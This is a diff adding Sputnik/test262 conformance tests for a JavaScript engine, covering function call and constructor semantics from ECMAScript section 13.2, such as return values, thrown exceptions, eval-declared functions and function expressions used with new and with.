+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is returned then Result.value is returned too
+ *
+ * @path ch13/13.2/S13.2.1_A7_T1.js
+ * @description Returning null. Declaring a function with "function __func()"
+ */
+
+function __func(){
+ var x = null;
+ return x;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var x=__func();
+} catch(e){
+ $ERROR('#1: var x=__func() does not lead to throwing exception. Actual: exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T2.js
new file mode 100644
index 000000000..ae4fbb406
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is returned then Result.value is returned too
+ *
+ * @path ch13/13.2/S13.2.1_A7_T2.js
+ * @description Returning null. Declaring a function with "var __func = function ()"
+ */
+
+var __func = function (){
+ var x = null;
+ return x;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var x=__func();
+} catch(e){
+ $ERROR('#1: var x=__func() does not lead to throwing exception. Actual: exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T3.js
new file mode 100644
index 000000000..efbb8a04d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T3.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is returned then Result.value is returned too
+ *
+ * @path ch13/13.2/S13.2.1_A7_T3.js
+ * @description Returning number. Declaring a function with "function __func()"
+ */
+
+function __func(){
+ x = 1;
+ return x;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ x=x;
+ $ERROR('#0: "x=x" lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var __x=__func();
+} catch(e){
+ $ERROR('#1: var __x=__func() does not lead to throwing exception. Actual: exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__x !== 1) {
+ $ERROR('#2: __x === 1. Actual: __x ==='+__x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (x !== 1) {
+ $ERROR('#3: x === 1. Actual: x ==='+x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T4.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T4.js
new file mode 100644
index 000000000..7461324ed
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T4.js
@@ -0,0 +1,58 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is returned then Result.value is returned too
+ *
+ * @path ch13/13.2/S13.2.1_A7_T4.js
+ * @description Returning boolean. Declaring a function with "function __func()"
+ */
+
+function __func(){
+ var x = true;
+ return x;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+try {
+ x=x;
+ $ERROR('#0: "x=x" lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ var __x=__func()
+} catch(e){
+ $ERROR('#1: var __x=__func() does not lead to throwing exception. Actual: exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!(__x)) {
+ $ERROR('#2: __x === true. Actual: __x ==='+__x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try {
+ x=x;
+ $ERROR('#3: "x=x" lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T1.js
new file mode 100644
index 000000000..2be9cb728
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is thrown then Result.value is thrown too
+ *
+ * @path ch13/13.2/S13.2.1_A8_T1.js
+ * @description Throwing an exception within a function body. Declaring function with "function __func()"
+ */
+
+function __func(){
+ var x = 1;
+ throw ("Catch Me If You Can")
+ return x;
+}
+
+try{
+ var x=__func()
+ $ERROR('#0: var x=__func() lead to throwing exception');
+} catch(e){
+ if (e !== "Catch Me If You Can") {
+ $ERROR('#1: Exception === "Catch Me If You Can". Actual: exception ==='+e);
+ }
+}
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T2.js
new file mode 100644
index 000000000..c07582b28
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A8_T2.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object F is called, the following steps are taken:
+ * 2. Evaluate F's FunctionBody;
+ * if Result.type is thrown then Result.value is thrown too
+ *
+ * @path ch13/13.2/S13.2.1_A8_T2.js
+ * @description Throwing an exception within a function body. Declaring function with "var __func = function (message)"
+ */
+
+var CATCH_ME_IF_YOU_CAN = true;
+
+var __func = function (message){
+ var x = 1;
+ throw (message)
+ return x;
+}
+
+try{
+ var x=__func(CATCH_ME_IF_YOU_CAN)
+ $ERROR('#0: var x=__func(CATCH_ME_IF_YOU_CAN) lead to throwing exception');
+} catch(e){
+ if (!e) {
+ $ERROR('#1: Exception === true. Actual: exception ==='+e);
+ }
+}
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T1.js
new file mode 100644
index 000000000..9b1dd7382
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T1.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object is called,
+ * the body is evaluated and if evaluation result has type "normal", then "undefined" is returned
+ *
+ * @path ch13/13.2/S13.2.1_A9.1_T1.js
+ * @description Declaring a function with "function __func()" and no "return" in the function body
+ */
+
+var x;
+
+function __func(){
+ x = true;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== undefined) {
+ $ERROR('#1: __func() === undefined. Actual: __func() ==='+__func());
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!x) {
+ $ERROR('#2: x === true. Actual: x === '+x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T2.js
new file mode 100644
index 000000000..90057b04b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A9.1_T2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object is called,
+ * the body is evaluated and if evaluation result has type "normal", then "undefined" is returned
+ *
+ * @path ch13/13.2/S13.2.1_A9.1_T2.js
+ * @description Declaring a function with "var __func = function()" and no "return" in the function body
+ */
+
+var x;
+
+var __func = function(){
+ x = true;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== undefined) {
+ $ERROR('#1: __func() === undefined. Actual: __func() ==='+__func());
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (!x) {
+ $ERROR('#2: x === true. Actual: x === '+x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T1.js
new file mode 100644
index 000000000..6332ef34e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T1.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object is called,
+ * the body is evaluated and if evaluation result has type "return" its value is not defined, then "undefined" is returned
+ *
+ * @path ch13/13.2/S13.2.1_A9_T1.js
+ * @description Using "return" with no expression. Declaring a function with "function __func()"
+ */
+
+var x;
+
+function __func(){
+ x = 1;
+ return;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== undefined) {
+ $ERROR('#1: __func() === undefined. Actual: __func() ==='+__func());
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (x!==1) {
+ $ERROR('#2: x === 1. Actual: x === '+x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T2.js
new file mode 100644
index 000000000..75be8a19a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A9_T2.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Call]] property for a Function object is called,
+ * the body is evaluated and if evaluation result has type "return" its value is not defined, then "undefined" is returned
+ *
+ * @path ch13/13.2/S13.2.1_A9_T2.js
+ * @description Using "return" with no expression. Declaring a function with "var __func = function()"
+ */
+
+var x;
+
+var __func = function(){
+ x = 1;
+ return;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== undefined) {
+ $ERROR('#1: __func() === undefined. Actual: __func() ==='+__func());
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (x!==1) {
+ $ERROR('#2: x === 1. Actual: x === '+x);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A10.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A10.js
new file mode 100644
index 000000000..25ba9d58d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A10.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is possible as long as this.any_Function is declared
+ *
+ * @path ch13/13.2/S13.2.2_A10.js
+ * @description Calling a function as a constructor after it has been declared
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ this.func = function (){
+ return 5;
+ }
+
+ this.id = this.func();
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+} catch (e) {
+ $ERROR('#1: var obj = new FACTORY() does not lead to throwing exception. Actual: Exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (obj.id !== 5) {
+ $ERROR('#2: obj.id === 5. Actual: obj.id ==='+obj.id);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A11.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A11.js
new file mode 100644
index 000000000..13f7f4e9b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A11.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is possible as long as this.any_Function is declared and called
+ *
+ * @path ch13/13.2/S13.2.2_A11.js
+ * @description Calling a function as a constructor after it has been declared with "function func()"
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ this.id = this.func();
+
+ function func(){
+ return "id_string";
+ }
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+ $ERROR('#1: var obj = new FACTORY() lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A12.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A12.js
new file mode 100644
index 000000000..52d4a95b6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A12.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is possible as long as this.any_Function is declared and called
+ *
+ * @path ch13/13.2/S13.2.2_A12.js
+ * @description Calling a function as a constructor after it has been declared with "function func()"
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ this.id = func();
+
+ function func(){
+ return "id_string";
+ }
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+} catch (e) {
+ $ERROR('#1: var obj = new FACTORY() does not lead to throwing exception. Actual: Exception is '+e);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (obj.id !== "id_string") {
+ $ERROR('#2: obj.id === "id_string". Actual: obj.id ==='+obj.id);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A13.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A13.js
new file mode 100644
index 000000000..79801ac9e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A13.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is inadmissible as long as this.any_Function is declared by eval and called
+ *
+ * @path ch13/13.2/S13.2.2_A13.js
+ * @description Calling a function as a constructor after it has been declared by eval
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ this.id = func();
+
+ eval("function func(){return \"id_string\";}");
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+ $ERROR('#1: var obj = new FACTORY() lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A14.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A14.js
new file mode 100644
index 000000000..2db1005bc
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A14.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Calling a function as a constructor is inadmissible as long as this.any_Function is declared by eval and called
+ *
+ * @path ch13/13.2/S13.2.2_A14.js
+ * @description Calling a function as a constructor after it has been declared by eval
+ * @noStrict
+ */
+
+function FACTORY(){
+ this.id = 0;
+
+ eval("function func(){return \"id_string\";}");
+
+ this.id = func();
+
+}
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var obj = new FACTORY();
+} catch (e) {
+ $ERROR('#1: var obj = new FACTORY() does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T1.js
new file mode 100644
index 000000000..6548618eb
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called,
+ * and the object created in the function is returned, the object (declared with "this" within a function) will be strong and healthy
+ *
+ * @path ch13/13.2/S13.2.2_A15_T1.js
+ * @description Function declared at the end of the program and "obj" property is declared with "var obj = {}"
+ */
+
+var __obj = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof obj !== "undefined") {
+ $ERROR('#1: typeof obj === "undefined". Actual: typeof obj ==='+typeof obj);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== "A") {
+ $ERROR('#2: __obj.prop === "A". Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.slot.prop !==1) {
+ $ERROR('#3: __obj.slot.prop ===1. Actual: __obj.slot.prop ==='+__obj.slot.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __FACTORY(){
+ this.prop = 1;
+ var obj = {};
+ obj.prop = "A";
+ obj.slot = this;
+ return obj;
+}
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T2.js
new file mode 100644
index 000000000..007474b4b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T2.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called,
+ * and the object created in the function is returned, the object (declared with "this" within a function) will be strong and healthy
+ *
+ * @path ch13/13.2/S13.2.2_A15_T2.js
+ * @description Function declared at the end of the program and "obj" property is declared with "obj = {}"
+ */
+
+var __obj = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (obj.prop !== "A") {
+ $ERROR('#1: obj.prop === "A". Actual: obj.prop ==='+obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== "A") {
+ $ERROR('#2: __obj.prop === "A". Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.slot.prop !==1) {
+ $ERROR('#3: __obj.slot.prop === 1. Actual: __obj.slot.prop ==='+__obj.slot.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __FACTORY(){
+ this.prop = 1;
+ obj = {};
+ obj.prop = "A";
+ obj.slot = this;
+ return obj;
+}
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T3.js
new file mode 100644
index 000000000..c448df552
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T3.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called,
+ * and the object created in the function is returned, the object (declared with "this" within a function) will be strong and healthy
+ *
+ * @path ch13/13.2/S13.2.2_A15_T3.js
+ * @description Function declared at the end of the program and "obj" property is declared with "var obj = {}"
+ */
+
+__FACTORY = function (){
+ this.prop = 1;
+ var obj = {};
+ obj.prop = "A";
+ obj.slot = this;
+ return obj;
+}
+
+__obj = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof obj !== "undefined") {
+ $ERROR('#1: typeof obj === "undefined". Actual: typeof obj ==='+typeof obj);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== "A") {
+ $ERROR('#2: __obj.prop === "A". Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.slot.prop !==1) {
+ $ERROR('#3: __obj.slot.prop ===1. Actual: __obj.slot.prop ==='+__obj.slot.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T4.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T4.js
new file mode 100644
index 000000000..5667b9b52
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A15_T4.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the [[Construct]] property for a Function object F is called,
+ * and the object created in the function is returned, the object (declared with "this" within a function) will be strong and healthy
+ *
+ * @path ch13/13.2/S13.2.2_A15_T4.js
+ * @description Function declared at the end of the program and "obj" property is declared with "obj = {}"
+ */
+
+__FACTORY = function(){
+ this.prop = 1;
+ obj = {};
+ obj.prop = "A";
+ obj.slot = this;
+ return obj;
+}
+
+__obj = new __FACTORY();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (obj.prop !== "A") {
+ $ERROR('#1: obj.prop === "A". Actual: obj.prop ==='+obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== "A") {
+ $ERROR('#2: __obj.prop === "A". Actual: __obj.prop ==='+obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.slot.prop !==1) {
+ $ERROR('#3: __obj.slot.prop ===1. Actual: __obj.slot.prop ==='+obj.slot.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T1.js
new file mode 100644
index 000000000..ea40cfb09
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a new statement is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A16_T1.js
+ * @description Using "is __obj = new function __func(){this.prop=1;}" as FunctionExpression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "undefined") {
+ $ERROR('#1: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __obj = new function __func(){this.prop=1;};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== 1) {
+ $ERROR('#2: __obj.prop === 1. Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (typeof __func !== "undefined") {
+ $ERROR('#5: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T2.js
new file mode 100644
index 000000000..2af36ba44
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a new statement is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A16_T2.js
+ * @description Using "var __obj = new function __func(arg){this.prop=arg;}(5)" as FunctionExpression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "undefined") {
+ $ERROR('#1: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __obj = new function __func(arg){this.prop=arg;}(5);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== 5) {
+ $ERROR('#2: __obj.prop === 5. Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (typeof __func !== "undefined") {
+ $ERROR('#3: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T3.js
new file mode 100644
index 000000000..8cff917f6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A16_T3.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a new statement is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A16_T3.js
+ * @description Using "is __obj = new function __func(arg){this.prop=arg; return {feat: ++arg}}(5)" as FunctionExpression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "undefined") {
+ $ERROR('#1: typeof __func === "undefined"');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var __obj = new function __func(arg){this.prop=arg; return {feat: ++arg}}(5);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__obj.prop !== undefined) {
+ $ERROR('#2: __obj.prop === undefined. Actual: __obj.prop ==='+__obj.prop);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.feat !== 6) {
+ $ERROR('#3: __obj.feat === 6. Actual: __obj.feat ==='+__obj.feat);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (typeof __func !== "undefined") {
+ $ERROR('#4: typeof __func === "undefined". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T2.js
new file mode 100644
index 000000000..105b762d7
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.2_A17_T2.js
@@ -0,0 +1,72 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression containing "with" statement is admitted
+ *
+ * @path ch13/13.2/S13.2.2_A17_T2.js
+ * @description Throwing an exception within "with" statement
+ */
+
+this.p1="alert";
+
+__obj={p1:1,getRight:function(){return "right";}};
+
+getRight=function(){return "napravo";};
+
+try {
+ (function(){
+ with(__obj){
+ p1="w1";
+ getRight=function(){return false;}
+ throw p1;
+ }
+ })();
+} catch (e) {
+ resukt = p1;
+}
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (p1!=="alert") {
+ $ERROR('#1: p1 === "alert". Actual: p1==='+p1);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (getRight()!=="napravo") {
+ $ERROR('#2: getRight() === "napravo". Actual: getRight() === '+getRight());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__obj.p1!=="w1") {
+ $ERROR('#3: __obj.p1 === "w1". Actual: __obj.p1 ==='+__obj.p1);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if (__obj.getRight()!==false) {
+ $ERROR('#4: __obj.getRight() === false. Actual: __obj.getRight() === '+__obj.getRight());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#5
+if (resukt !== "alert") {
+ $ERROR('#5: resukt === "alert". Actual: resukt ==='+resukt);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+var resukt;
+
+
